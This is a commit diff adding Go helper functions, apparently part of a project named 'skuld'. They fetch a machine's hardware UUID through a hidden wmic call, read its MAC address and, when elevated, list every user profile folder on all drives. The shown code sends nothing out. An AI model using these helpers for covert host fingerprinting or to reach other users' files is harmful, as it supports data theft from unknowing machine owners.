initial commit

utils/hardware/hardware.go

@@ -0,0 +1,72 @@
+package hardware
+
+import (
+	"bytes"
+	"fmt"
+	"net"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"syscall"
+
+	"github.com/hackirby/skuld/utils/program"
+	"github.com/shirou/gopsutil/v3/disk"
+)
+
+func GetHWID() (string, error) {
+	cmd := exec.Command("wmic", "csproduct", "get", "UUID")
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
+
+	out, err := cmd.Output()
+	if err != nil {
+		return "", err
+	}
+
+	return strings.TrimSpace(strings.Split(string(out), "\n")[1]), nil
+}
+
+func GetMAC() (string, error) {
+	interfaces, err := net.Interfaces()
+	if err != nil {
+		return "", err
+	}
+
+	for _, i := range interfaces {
+		if i.Flags&net.FlagUp != 0 && !bytes.Equal(i.HardwareAddr, nil) {
+			return i.HardwareAddr.String(), nil
+		}
+	}
+
+	return "", fmt.Errorf("no MAC address found")
+}
+
+func GetUsers() []string {
+	if !program.IsElevated() {
+		return []string{os.Getenv("USERPROFILE")}
+	}
+
+	var users []string
+	drives, err := disk.Partitions(false)
+	if err != nil {
+		return []string{os.Getenv("USERPROFILE")}
+	}
+
+	for _, drive := range drives {
+		mountpoint := drive.Mountpoint
+
+		files, err := os.ReadDir(fmt.Sprintf("%s//Users", mountpoint))
+		if err != nil {
+			continue
+		}
+
+		for _, file := range files {
+			if !file.IsDir() {
+				continue
+			}
+			users = append(users, filepath.Join(fmt.Sprintf("%s//Users", mountpoint), file.Name()))
+		}
+	}
+
+	return users
+}